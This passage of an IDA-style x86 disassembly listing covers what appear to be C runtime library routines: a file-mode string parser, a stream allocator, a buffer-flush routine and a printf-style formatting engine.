jg short loc_41FC9F
jz short loc_41FC8F
sub eax, 2Bh
jz short loc_41FC79
sub eax, 19h
jz short loc_41FC6F
sub eax, 0Eh
jz short loc_41FC5A
dec eax
jnz loc_41FCF1
cmp [ebp+var_4], ebx
jnz loc_41FCF1
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC5A: ; CODE XREF: sub_41FBCD+6Fj
cmp [ebp+var_4], ebx
jnz loc_41FCF1
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC6F: ; CODE XREF: sub_41FBCD+6Aj
test cl, 40h
jnz short loc_41FCF1
or ecx, 40h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC79: ; CODE XREF: sub_41FBCD+65j
test cl, 2
jnz short loc_41FCF1
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC8F: ; CODE XREF: sub_41FBCD+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41FCF1
or ecx, eax
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC9F: ; CODE XREF: sub_41FBCD+5Ej
sub eax, 62h
jz short loc_41FCEC
dec eax
jz short loc_41FCD5
sub eax, 0Bh
jz short loc_41FCBE
sub eax, 6
jnz short loc_41FCF1
test ch, 0C0h
jnz short loc_41FCF1
or ch, 40h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCBE: ; CODE XREF: sub_41FBCD+DDj
cmp [ebp+var_8], ebx
jnz short loc_41FCF1
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCD5: ; CODE XREF: sub_41FBCD+D8j
cmp [ebp+var_8], ebx
jnz short loc_41FCF1
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCEC: ; CODE XREF: sub_41FBCD+D5j
test ch, 0C0h
jz short loc_41FCF8
loc_41FCF1: ; CODE XREF: sub_41FBCD+72j
; sub_41FBCD+7Bj ...
xor edx, edx
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCF8: ; CODE XREF: sub_41FBCD+122j
or ch, 80h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FD00: ; CODE XREF: sub_41FBCD+4Aj
; sub_41FBCD+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_42423B
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41FD1E
loc_41FD1A: ; CODE XREF: sub_41FBCD+25j
xor eax, eax
jmp short loc_41FD38
; ---------------------------------------------------------------------------
loc_41FD1E: ; CODE XREF: sub_41FBCD+14Bj
mov eax, [ebp+arg_C]
inc dword_4DBFAC
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41FD38: ; CODE XREF: sub_41FBCD+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41FBCD endp
; =============== S U B R O U T I N E =======================================
sub_41FD3D proc near ; CODE XREF: sub_41BE82p
mov edx, dword_4DD020
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41FDAE
mov ebx, dword_4DC01C
mov edi, ebx
loc_41FD59: ; CODE XREF: sub_41FD3D+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41FD74
test byte ptr [ecx+0Ch], 83h
jz short loc_41FD6F
inc eax
add edi, 4
cmp eax, edx
jl short loc_41FD59
jmp short loc_41FDAE
; ---------------------------------------------------------------------------
loc_41FD6F: ; CODE XREF: sub_41FD3D+26j
mov esi, [ebx+eax*4]
jmp short loc_41FD98
; ---------------------------------------------------------------------------
loc_41FD74: ; CODE XREF: sub_41FD3D+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41BEB5
pop ecx
mov ecx, dword_4DC01C
mov [edi+ecx], eax
mov eax, dword_4DC01C
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41FDAE
mov esi, edi
loc_41FD98: ; CODE XREF: sub_41FD3D+35j
cmp esi, ebp
jz short loc_41FDAE
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41FDAE: ; CODE XREF: sub_41FD3D+12j
; sub_41FD3D+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41FD3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDB5 proc near ; CODE XREF: sub_41C0CE+17p
; sub_41C0CE+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41FDD3
mov ecx, off_43CE78
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41FE25
; ---------------------------------------------------------------------------
loc_41FDD3: ; CODE XREF: sub_41FDB5+10j
mov ecx, eax
push esi
mov esi, off_43CE78
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41FDF8
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41FE01
; ---------------------------------------------------------------------------
loc_41FDF8: ; CODE XREF: sub_41FDB5+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41FE01: ; CODE XREF: sub_41FDB5+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_4244F4
add esp, 1Ch
test eax, eax
jnz short loc_41FE21
leave
retn
; ---------------------------------------------------------------------------
loc_41FE21: ; CODE XREF: sub_41FDB5+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41FE25: ; CODE XREF: sub_41FDB5+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41FDB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE2A proc near ; CODE XREF: sub_41C266+46p
; sub_41C360+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41FF33
test al, 40h
jnz loc_41FF33
test al, 1
jz short loc_41FE62
and dword ptr [esi+4], 0
test al, 10h
jz loc_41FF33
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41FE62: ; CODE XREF: sub_41FE2A+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41FE9C
cmp esi, offset dword_43D588
jz short loc_41FE8A
cmp esi, offset dword_43D5A8
jnz short loc_41FE95
loc_41FE8A: ; CODE XREF: sub_41FE2A+56j
push ebx
call sub_42463D
test eax, eax
pop ecx
jnz short loc_41FE9C
loc_41FE95: ; CODE XREF: sub_41FE2A+5Ej
push esi
call sub_4241F7
pop ecx
loc_41FE9C: ; CODE XREF: sub_41FE2A+4Ej
; sub_41FE2A+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41FF09
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41FECC
push edi
push eax
push ebx
call sub_4230FB
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41FEFF
; ---------------------------------------------------------------------------
loc_41FECC: ; CODE XREF: sub_41FE2A+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41FEE7
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41FEEC
; ---------------------------------------------------------------------------
loc_41FEE7: ; CODE XREF: sub_41FE2A+A5j
mov eax, offset dword_43D4D0
loc_41FEEC: ; CODE XREF: sub_41FE2A+BBj
test byte ptr [eax+4], 20h
jz short loc_41FEFF
push 2
push 0
push ebx
call sub_422F09
add esp, 0Ch
loc_41FEFF: ; CODE XREF: sub_41FE2A+A0j
; sub_41FE2A+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41FF1D
; ---------------------------------------------------------------------------
loc_41FF09: ; CODE XREF: sub_41FE2A+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_4230FB
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41FF1D: ; CODE XREF: sub_41FE2A+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41FF29
or dword ptr [esi+0Ch], 20h
jmp short loc_41FF38
; ---------------------------------------------------------------------------
loc_41FF29: ; CODE XREF: sub_41FE2A+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41FF3B
; ---------------------------------------------------------------------------
loc_41FF33: ; CODE XREF: sub_41FE2A+10j
; sub_41FE2A+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41FF38: ; CODE XREF: sub_41FE2A+FDj
or eax, 0FFFFFFFFh
loc_41FF3B: ; CODE XREF: sub_41FE2A+107j
pop esi
pop ebx
pop ebp
retn
sub_41FE2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FF3F proc near ; CODE XREF: sub_41C266+29p
; sub_41C360+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_420658
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41FF73
; ---------------------------------------------------------------------------
loc_41FF6B: ; CODE XREF: sub_41FF3F+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41FF73: ; CODE XREF: sub_41FF3F+2Aj
cmp [ebp+var_14], edx
jl loc_420658
cmp bl, 20h
jl short loc_41FF94
cmp bl, 78h
jg short loc_41FF94
movsx eax, bl
mov al, [eax+42771Ch]
and eax, 0Fh
jmp short loc_41FF96
; ---------------------------------------------------------------------------
loc_41FF94: ; CODE XREF: sub_41FF3F+40j
; sub_41FF3F+45j
xor eax, eax
loc_41FF96: ; CODE XREF: sub_41FF3F+53j
movsx eax, byte_42773C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_420647 ; default
jmp off_420660[eax*4] ; switch jump
loc_41FFB4: ; DATA XREF: ___:off_420660o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_41FFCF: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
movsx eax, bl ; jumptable 0041FFAD case 2
sub eax, 20h
jz short loc_420012
sub eax, 3
jz short loc_420009
sub eax, 8
jz short loc_420000
dec eax
dec eax
jz short loc_41FFF7
sub eax, 3
jnz loc_420647 ; default
or [ebp+var_4], 8
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_41FFF7: ; CODE XREF: sub_41FF3F+A4j
or [ebp+var_4], 4
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420000: ; CODE XREF: sub_41FF3F+A0j
or [ebp+var_4], 1
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420009: ; CODE XREF: sub_41FF3F+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420012: ; CODE XREF: sub_41FF3F+96j
or [ebp+var_4], 2
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42001B: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
cmp bl, 2Ah ; jumptable 0041FFAD case 3
jnz short loc_420043
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_420647 ; default
or [ebp+var_4], 4
neg eax
loc_42003B: ; CODE XREF: sub_41FF3F+111j
mov [ebp+var_20], eax
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420043: ; CODE XREF: sub_41FF3F+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
loc_42004C: ; DATA XREF: ___:00432860o
; ___:0043286Co
lea eax, [ecx+eax*2-30h]
jmp short loc_42003B
; ---------------------------------------------------------------------------
loc_420052: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
mov [ebp+var_10], edx ; jumptable 0041FFAD case 4
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42005A: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
cmp bl, 2Ah ; jumptable 0041FFAD case 5
jnz short loc_42007D
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_420647 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42007D: ; CODE XREF: sub_41FF3F+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42008F: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
cmp bl, 49h ; jumptable 0041FFAD case 6
jz short loc_4200C2
cmp bl, 68h
jz short loc_4200B9
cmp bl, 6Ch
jz short loc_4200B0
cmp bl, 77h
jnz loc_420647 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200B0: ; CODE XREF: sub_41FF3F+15Dj
or [ebp+var_4], 10h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200B9: ; CODE XREF: sub_41FF3F+158j
or [ebp+var_4], 20h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200C2: ; CODE XREF: sub_41FF3F+153j
cmp byte ptr [edi], 36h
jnz short loc_4200DB
cmp byte ptr [edi+1], 34h
jnz short loc_4200DB
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200DB: ; CODE XREF: sub_41FF3F+186j
; sub_41FF3F+18Cj
mov [ebp+var_30], edx
loc_4200DE: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
mov ecx, off_43CE78 ; jumptable 0041FFAD case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42010A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420680
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_42010A: ; CODE XREF: sub_41FF3F+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420680
add esp, 0Ch
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420122: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
movsx eax, bl ; jumptable 0041FFAD case 7
cmp eax, 67h
jg loc_42034A
cmp eax, 65h
jge loc_4201CD
cmp eax, 58h
jg loc_42022B
jz loc_4203BE
sub eax, 43h
jz loc_4201EE
dec eax
dec eax
jz short loc_4201C3
dec eax
dec eax
jz short loc_4201C3
sub eax, 0Ch
jnz loc_420549
test word ptr [ebp+var_4], 830h
jnz short loc_42016C
or byte ptr [ebp+var_4+1], 8
loc_42016C: ; CODE XREF: sub_41FF3F+227j
; sub_41FF3F+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_420179
mov esi, 7FFFFFFFh
loc_420179: ; CODE XREF: sub_41FF3F+233j
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_420392
test ecx, ecx
jnz short loc_4201A1
mov ecx, off_43D094
mov [ebp+var_8], ecx
loc_4201A1: ; CODE XREF: sub_41FF3F+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_4201AA: ; CODE XREF: sub_41FF3F+282j
mov edx, esi
dec esi
test edx, edx
jz loc_420389
cmp word ptr [eax], 0
jz loc_420389
inc eax
inc eax
jmp short loc_4201AA
; ---------------------------------------------------------------------------
loc_4201C3: ; CODE XREF: sub_41FF3F+212j
; sub_41FF3F+216j
mov [ebp+var_34], 1
add bl, 20h
loc_4201CD: ; CODE XREF: sub_41FF3F+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_4202B1
mov [ebp+var_10], 6
jmp loc_4202BF
; ---------------------------------------------------------------------------
loc_4201EE: ; CODE XREF: sub_41FF3F+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_4201FA
or byte ptr [ebp+var_4+1], 8
loc_4201FA: ; CODE XREF: sub_41FF3F+2B5j
; sub_41FF3F+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_420241
call sub_42073B
push eax
lea eax, [ebp+var_248]
push eax
call sub_424663
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_420254
mov [ebp+var_28], 1
jmp short loc_420254
; ---------------------------------------------------------------------------
loc_42022B: ; CODE XREF: sub_41FF3F+1FBj
sub eax, 5Ah
jz short loc_420262
sub eax, 9
jz short loc_4201FA
dec eax
jz loc_420424
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420241: ; CODE XREF: sub_41FF3F+2C5j
call sub_42071E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_420254: ; CODE XREF: sub_41FF3F+2E1j
; sub_41FF3F+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420262: ; CODE XREF: sub_41FF3F+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
jz short loc_4202A3
mov ecx, [eax+4]
test ecx, ecx
jz short loc_4202A3
test byte ptr [ebp+var_4+1], 8
jz short loc_420294
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420294: ; CODE XREF: sub_41FF3F+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_420546
; ---------------------------------------------------------------------------
loc_4202A3: ; CODE XREF: sub_41FF3F+32Fj
; sub_41FF3F+336j
mov eax, off_43D090
mov [ebp+var_8], eax
push eax
jmp loc_42033F
; ---------------------------------------------------------------------------
loc_4202B1: ; CODE XREF: sub_41FF3F+29Dj
jnz short loc_4202BF
cmp bl, 67h
jnz short loc_4202BF
mov [ebp+var_10], 1
loc_4202BF: ; CODE XREF: sub_41FF3F+2AAj
; sub_41FF3F:loc_4202B1j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43D420
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_420311
cmp [ebp+var_10], 0
jnz short loc_420311
lea eax, [ebp+var_248]
push eax
call off_43D42C
pop ecx
loc_420311: ; CODE XREF: sub_41FF3F+3BCj
; sub_41FF3F+3C2j
cmp bl, 67h
jnz short loc_420328
test esi, esi
jnz short loc_420328
lea eax, [ebp+var_248]
push eax
call off_43D424
pop ecx
loc_420328: ; CODE XREF: sub_41FF3F+3D5j
; sub_41FF3F+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_42033E
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_42033E: ; CODE XREF: sub_41FF3F+3F0j
push edi
loc_42033F: ; CODE XREF: sub_41FF3F+36Dj
call sub_41B9C0
pop ecx
jmp loc_420546
; ---------------------------------------------------------------------------
loc_42034A: ; CODE XREF: sub_41FF3F+1E9j
sub eax, 69h
jz loc_420424
sub eax, 5
jz loc_4203FA
dec eax
jz loc_4203E7
dec eax
jz short loc_4203B7
sub eax, 3
jz loc_42016C
dec eax
dec eax
jz loc_420428
sub eax, 3
jnz loc_420549
mov [ebp+var_2C], 27h
jmp short loc_4203C5
; ---------------------------------------------------------------------------
loc_420389: ; CODE XREF: sub_41FF3F+270j
; sub_41FF3F+27Aj
sub eax, ecx
sar eax, 1
jmp loc_420546
; ---------------------------------------------------------------------------
loc_420392: ; CODE XREF: sub_41FF3F+24Fj
test ecx, ecx
jnz short loc_42039F
mov ecx, off_43D090
mov [ebp+var_8], ecx
loc_42039F: ; CODE XREF: sub_41FF3F+455j
mov eax, ecx
loc_4203A1: ; CODE XREF: sub_41FF3F+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_4203B0
cmp byte ptr [eax], 0
jz short loc_4203B0
inc eax
jmp short loc_4203A1
; ---------------------------------------------------------------------------
loc_4203B0: ; CODE XREF: sub_41FF3F+467j
; sub_41FF3F+46Cj
sub eax, ecx
jmp loc_420546
; ---------------------------------------------------------------------------
loc_4203B7: ; CODE XREF: sub_41FF3F+425j
mov [ebp+var_10], 8
loc_4203BE: ; CODE XREF: sub_41FF3F+201j
mov [ebp+var_2C], 7
loc_4203C5: ; CODE XREF: sub_41FF3F+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_42042F
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_42042F
; ---------------------------------------------------------------------------
loc_4203E7: ; CODE XREF: sub_41FF3F+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_42042F
or byte ptr [ebp+var_4+1], 2
jmp short loc_42042F
; ---------------------------------------------------------------------------
loc_4203FA: ; CODE XREF: sub_41FF3F+417j
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_420413
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_420418
; ---------------------------------------------------------------------------
loc_420413: ; CODE XREF: sub_41FF3F+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_420418: ; CODE XREF: sub_41FF3F+4D2j
mov [ebp+var_28], 1
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420424: ; CODE XREF: sub_41FF3F+2F7j
; sub_41FF3F+40Ej
or [ebp+var_4], 40h
loc_420428: ; CODE XREF: sub_41FF3F+432j
mov [ebp+var_C], 0Ah
loc_42042F: ; CODE XREF: sub_41FF3F+491j
; sub_41FF3F+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_420441
lea eax, [ebp+arg_8]
push eax
call sub_42072B
pop ecx
jmp short loc_420482
; ---------------------------------------------------------------------------
loc_420441: ; CODE XREF: sub_41FF3F+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_420468
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42045D
call sub_42071E
pop ecx
movsx eax, ax
loc_42045A: ; CODE XREF: sub_41FF3F+527j
; sub_41FF3F+539j
cdq
jmp short loc_420482
; ---------------------------------------------------------------------------
loc_42045D: ; CODE XREF: sub_41FF3F+510j
call sub_42071E
pop ecx
movzx eax, ax
jmp short loc_42045A
; ---------------------------------------------------------------------------
loc_420468: ; CODE XREF: sub_41FF3F+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42047A
call sub_42071E
pop ecx
jmp short loc_42045A
; ---------------------------------------------------------------------------
loc_42047A: ; CODE XREF: sub_41FF3F+531j
call sub_42071E
pop ecx
xor edx, edx
loc_420482: ; CODE XREF: sub_41FF3F+500j
; sub_41FF3F+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_4204A3
test edx, edx
jg short loc_4204A3
jl short loc_420492
test eax, eax
jnb short loc_4204A3
loc_420492: ; CODE XREF: sub_41FF3F+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_4204A7
; ---------------------------------------------------------------------------
loc_4204A3: ; CODE XREF: sub_41FF3F+547j
; sub_41FF3F+54Bj ...
mov esi, eax
mov edi, edx
loc_4204A7: ; CODE XREF: sub_41FF3F+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_4204B0
and edi, 0
loc_4204B0: ; CODE XREF: sub_41FF3F+56Cj
cmp [ebp+var_10], 0
jge short loc_4204BF
mov [ebp+var_10], 1
jmp short loc_4204C3
; ---------------------------------------------------------------------------
loc_4204BF: ; CODE XREF: sub_41FF3F+575j
and [ebp+var_4], 0FFFFFFF7h
loc_4204C3: ; CODE XREF: sub_41FF3F+57Ej
mov eax, esi
or eax, edi
jnz short loc_4204CD
and [ebp+var_1C], 0
loc_4204CD: ; CODE XREF: sub_41FF3F+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_4204D3: ; CODE XREF: sub_41FF3F+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_4204E3
mov eax, esi
or eax, edi
jz short loc_42051E
loc_4204E3: ; CODE XREF: sub_41FF3F+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41DD20
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41DCB0
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_420514
add ebx, [ebp+var_2C]
loc_420514: ; CODE XREF: sub_41FF3F+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_4204D3
; ---------------------------------------------------------------------------
loc_42051E: ; CODE XREF: sub_41FF3F+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_420549
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_42053C
test eax, eax
jnz short loc_420549
loc_42053C: ; CODE XREF: sub_41FF3F+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_420546: ; CODE XREF: sub_41FF3F+35Fj
; sub_41FF3F+406j ...
mov [ebp+var_C], eax
loc_420549: ; CODE XREF: sub_41FF3F+21Bj
; sub_41FF3F+2FDj ...
cmp [ebp+var_28], 0
jnz loc_420647 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_420581
test bh, 1
jz short loc_420566
mov [ebp+var_16], 2Dh
jmp short loc_42057A
; ---------------------------------------------------------------------------
loc_420566: ; CODE XREF: sub_41FF3F+61Fj
test bl, 1
jz short loc_420571
mov [ebp+var_16], 2Bh
jmp short loc_42057A
; ---------------------------------------------------------------------------
loc_420571: ; CODE XREF: sub_41FF3F+62Aj
test bl, 2
jz short loc_420581
mov [ebp+var_16], 20h
loc_42057A: ; CODE XREF: sub_41FF3F+625j
; sub_41FF3F+630j
mov [ebp+var_1C], 1
loc_420581: ; CODE XREF: sub_41FF3F+61Aj
; sub_41FF3F+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_4205A1
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4206B5
add esp, 10h
loc_4205A1: ; CODE XREF: sub_41FF3F+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_4206E6
add esp, 10h
test bl, 8
jz short loc_4205D3
test bl, 4
jnz short loc_4205D3
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_4206B5
add esp, 10h
